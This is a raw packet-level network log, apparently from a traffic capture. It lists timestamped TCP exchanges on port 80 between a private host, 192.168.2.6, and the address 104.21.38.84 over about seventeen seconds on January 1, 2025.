Jan 1, 2025 16:04:36.043519020 CET	80	62840	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:36.149450064 CET	80	62840	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:36.284542084 CET	62840	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.396624088 CET	80	62840	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:36.485642910 CET	62840	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.515084982 CET	62838	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.518424034 CET	62840	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.519344091 CET	62841	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.523591995 CET	80	62840	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:36.523652077 CET	62840	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.524158001 CET	80	62841	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:36.524224043 CET	62841	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.524315119 CET	62841	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.529167891 CET	80	62841	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:36.876419067 CET	62841	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:36.881232023 CET	80	62841	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:36.987158060 CET	80	62841	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:37.114836931 CET	62841	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.166392088 CET	80	62841	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:37.255023956 CET	62841	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.280754089 CET	62841	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.281429052 CET	62842	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.286498070 CET	80	62841	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:37.286603928 CET	62841	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.286755085 CET	80	62842	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:37.286823988 CET	62842	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.286911011 CET	62842	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.292210102 CET	80	62842	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:37.642208099 CET	62842	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.647306919 CET	80	62842	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:37.730694056 CET	80	62842	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:37.782985926 CET	62842	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:37.982368946 CET	80	62842	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.082536936 CET	62842	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.106537104 CET	62842	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.106542110 CET	62843	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.111462116 CET	80	62843	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.111610889 CET	80	62842	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.112680912 CET	62842	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.112684011 CET	62843	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.112739086 CET	62843	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.117604017 CET	80	62843	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.205451965 CET	62843	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.205482960 CET	62844	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.210449934 CET	80	62844	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.210710049 CET	62844	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.210865021 CET	62844	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.215663910 CET	80	62844	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.250835896 CET	80	62843	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.328593016 CET	62845	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.340873957 CET	80	62845	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.340962887 CET	62845	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.341281891 CET	62845	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.346154928 CET	80	62845	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.468877077 CET	80	62843	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.468935013 CET	62843	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.563855886 CET	62844	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.568828106 CET	80	62844	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.568892956 CET	80	62844	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.664335012 CET	80	62844	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.707501888 CET	62845	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.715039968 CET	80	62845	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.766896963 CET	62844	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:38.785123110 CET	80	62845	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.939867020 CET	80	62844	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:38.985634089 CET	62845	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.015460968 CET	62844	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.051487923 CET	80	62845	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:39.173156023 CET	62845	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.173573017 CET	62844	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.173610926 CET	62845	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.174285889 CET	62846	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.178687096 CET	80	62844	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:39.178756952 CET	62844	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.179069042 CET	80	62845	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:39.179081917 CET	80	62846	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:39.179117918 CET	62845	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.179155111 CET	62846	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.179295063 CET	62846	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.184091091 CET	80	62846	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:39.532896042 CET	62846	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.537914991 CET	80	62846	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:39.620229006 CET	80	62846	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:39.673284054 CET	62846	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:39.880184889 CET	80	62846	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:39.972945929 CET	62846	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.000593901 CET	62847	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.005951881 CET	80	62847	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:40.006242990 CET	62847	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.006308079 CET	62847	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.011162996 CET	80	62847	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:40.360853910 CET	62847	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.365922928 CET	80	62847	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:40.459918976 CET	80	62847	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:40.628417015 CET	80	62847	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:40.628489971 CET	62847	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.789433002 CET	62847	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.790429115 CET	62848	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.794506073 CET	80	62847	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:40.794581890 CET	62847	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.795356989 CET	80	62848	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:40.795428038 CET	62848	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.795536995 CET	62848	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:40.800287962 CET	80	62848	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:41.142137051 CET	62848	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.147095919 CET	80	62848	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:41.239852905 CET	80	62848	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:41.282501936 CET	62848	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.501976967 CET	80	62848	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:41.580591917 CET	62848	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.624639988 CET	62848	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.624665022 CET	62849	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.629497051 CET	80	62849	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:41.629674911 CET	80	62848	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:41.631812096 CET	62848	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.631814003 CET	62849	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.631891966 CET	62849	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.636698008 CET	80	62849	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:41.988617897 CET	62849	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:41.993529081 CET	80	62849	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:42.094573021 CET	80	62849	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:42.267091036 CET	62849	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:42.349606991 CET	80	62849	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:42.399425030 CET	62849	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:42.478662014 CET	62849	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:42.479562044 CET	62850	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:42.483726025 CET	80	62849	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:42.483776093 CET	62849	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:42.484503031 CET	80	62850	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:42.484564066 CET	62850	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:42.484678984 CET	62850	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:42.489521027 CET	80	62850	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:42.835189104 CET	62850	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:42.840260983 CET	80	62850	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:42.928520918 CET	80	62850	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:42.985658884 CET	62850	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.191215038 CET	80	62850	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:43.282529116 CET	62850	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.312895060 CET	62850	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.313929081 CET	62851	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.317955017 CET	80	62850	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:43.318015099 CET	62850	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.318790913 CET	80	62851	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:43.318851948 CET	62851	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.318936110 CET	62851	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.323703051 CET	80	62851	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:43.673237085 CET	62851	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.678198099 CET	80	62851	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:43.761305094 CET	80	62851	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:43.862574100 CET	62851	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.955763102 CET	62851	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.955792904 CET	62852	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.960650921 CET	80	62852	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:43.960756063 CET	80	62851	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:43.962690115 CET	62851	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.962697983 CET	62852	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.962795973 CET	62852	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:43.967526913 CET	80	62852	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.078582048 CET	62853	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.083432913 CET	80	62853	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.084624052 CET	62853	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.084624052 CET	62853	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.089473009 CET	80	62853	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.314575911 CET	62852	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.319458008 CET	80	62852	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.319570065 CET	80	62852	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.407339096 CET	80	62852	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.438967943 CET	62853	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.443819046 CET	80	62853	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.464050055 CET	62852	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.533248901 CET	80	62853	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.584886074 CET	80	62852	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.673166990 CET	62853	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.673181057 CET	62852	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.714979887 CET	80	62853	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.782524109 CET	62853	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.851161003 CET	62852	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.851425886 CET	62853	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.852201939 CET	62854	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.856156111 CET	80	62852	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.856216908 CET	62852	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.856477022 CET	80	62853	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.856524944 CET	62853	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.857016087 CET	80	62854	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:44.857075930 CET	62854	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.857178926 CET	62854	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:44.862004995 CET	80	62854	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:45.204648018 CET	62854	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:45.209639072 CET	80	62854	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:45.309480906 CET	80	62854	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:45.470586061 CET	62854	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:45.499422073 CET	80	62854	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:45.622248888 CET	62855	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:45.627291918 CET	80	62855	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:45.627582073 CET	62855	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:45.627865076 CET	62855	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:45.632678032 CET	80	62855	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:45.673146963 CET	62854	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:45.986063957 CET	62855	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:45.990978003 CET	80	62855	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:46.077946901 CET	80	62855	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:46.173543930 CET	62855	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:46.263254881 CET	80	62855	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:46.395946980 CET	62855	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:46.396996021 CET	62856	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:46.401127100 CET	80	62855	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:46.401184082 CET	62855	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:46.401889086 CET	80	62856	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:46.401947021 CET	62856	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:46.402086020 CET	62856	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:46.406841040 CET	80	62856	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:46.751405954 CET	62856	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:46.756403923 CET	80	62856	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:46.858392000 CET	80	62856	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:46.970074892 CET	62856	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:47.120891094 CET	80	62856	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:47.247087002 CET	62856	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:47.247736931 CET	62857	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:47.252207994 CET	80	62856	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:47.252279043 CET	62856	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:47.252513885 CET	80	62857	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:47.252577066 CET	62857	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:47.370579958 CET	62857	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:47.375580072 CET	80	62857	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:47.697082996 CET	80	62857	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:47.697318077 CET	62857	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:47.702138901 CET	80	62857	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:47.959379911 CET	80	62857	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.072707891 CET	62854	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.078577995 CET	62857	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.078582048 CET	62858	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.083436966 CET	80	62858	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.083575964 CET	80	62857	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.083673000 CET	62858	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.083673954 CET	62857	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.086595058 CET	62858	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.091396093 CET	80	62858	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.438910961 CET	62858	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.443808079 CET	80	62858	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.537009954 CET	80	62858	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.673172951 CET	62858	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.798810005 CET	80	62858	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.918611050 CET	62858	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.919167995 CET	62859	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.923762083 CET	80	62858	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.923873901 CET	62858	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.924058914 CET	80	62859	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:48.924129963 CET	62859	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.924226046 CET	62859	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:48.928980112 CET	80	62859	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.283473969 CET	62859	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.289331913 CET	80	62859	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.369581938 CET	80	62859	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.472784996 CET	62859	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.537345886 CET	80	62859	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.595702887 CET	62859	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.596446991 CET	62860	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.600856066 CET	80	62859	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.601099968 CET	62859	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.601306915 CET	80	62860	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.601525068 CET	62860	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.601672888 CET	62860	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.606458902 CET	80	62860	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.652621031 CET	62860	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.652991056 CET	62861	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.657814980 CET	80	62861	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.658188105 CET	62861	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.658487082 CET	62861	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:49.663247108 CET	80	62861	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.702867031 CET	80	62860	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.956705093 CET	80	62860	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:49.956882000 CET	62860	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.048942089 CET	62861	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.053991079 CET	80	62861	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:50.142111063 CET	80	62861	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:50.282605886 CET	62861	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.402292013 CET	80	62861	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:50.485675097 CET	62861	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.537245989 CET	62861	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.538399935 CET	62862	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.542479038 CET	80	62861	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:50.542529106 CET	62861	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.543158054 CET	80	62862	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:50.543216944 CET	62862	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.543421984 CET	62862	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.548165083 CET	80	62862	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:50.892018080 CET	62862	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:50.896976948 CET	80	62862	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:50.994189978 CET	80	62862	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:51.166507959 CET	80	62862	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:51.166613102 CET	62862	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:51.290502071 CET	62862	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:51.291747093 CET	62863	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:51.295660973 CET	80	62862	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:51.295708895 CET	62862	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:51.296598911 CET	80	62863	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:51.296660900 CET	62863	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:51.296801090 CET	62863	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:51.301561117 CET	80	62863	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:51.642636061 CET	62863	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:51.647550106 CET	80	62863	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:51.740936041 CET	80	62863	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:51.783293962 CET	62863	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:51.920536995 CET	80	62863	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:51.986609936 CET	62863	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.045064926 CET	62863	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.045067072 CET	62864	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.049942017 CET	80	62864	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.050059080 CET	62864	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.050111055 CET	80	62863	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.050201893 CET	62864	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.050654888 CET	62863	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.055457115 CET	80	62864	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.407901049 CET	62864	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.412813902 CET	80	62864	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.496575117 CET	80	62864	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.579421997 CET	62864	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.763470888 CET	80	62864	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.894459963 CET	62865	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.899413109 CET	80	62865	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.899482012 CET	62865	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.899601936 CET	62865	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:52.904397964 CET	80	62865	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.984217882 CET	80	62864	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:52.984272003 CET	62864	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.251609087 CET	62865	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.256556034 CET	80	62865	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:53.343904018 CET	80	62865	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:53.470071077 CET	62865	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.614418030 CET	80	62865	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:53.673196077 CET	62865	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.730604887 CET	62864	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.731398106 CET	62865	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.734611034 CET	62866	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.736396074 CET	80	62865	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:53.738701105 CET	62865	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.739434958 CET	80	62866	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:53.742741108 CET	62866	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.742809057 CET	62866	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:53.747534990 CET	80	62866	104.21.38.84	192.168.2.6
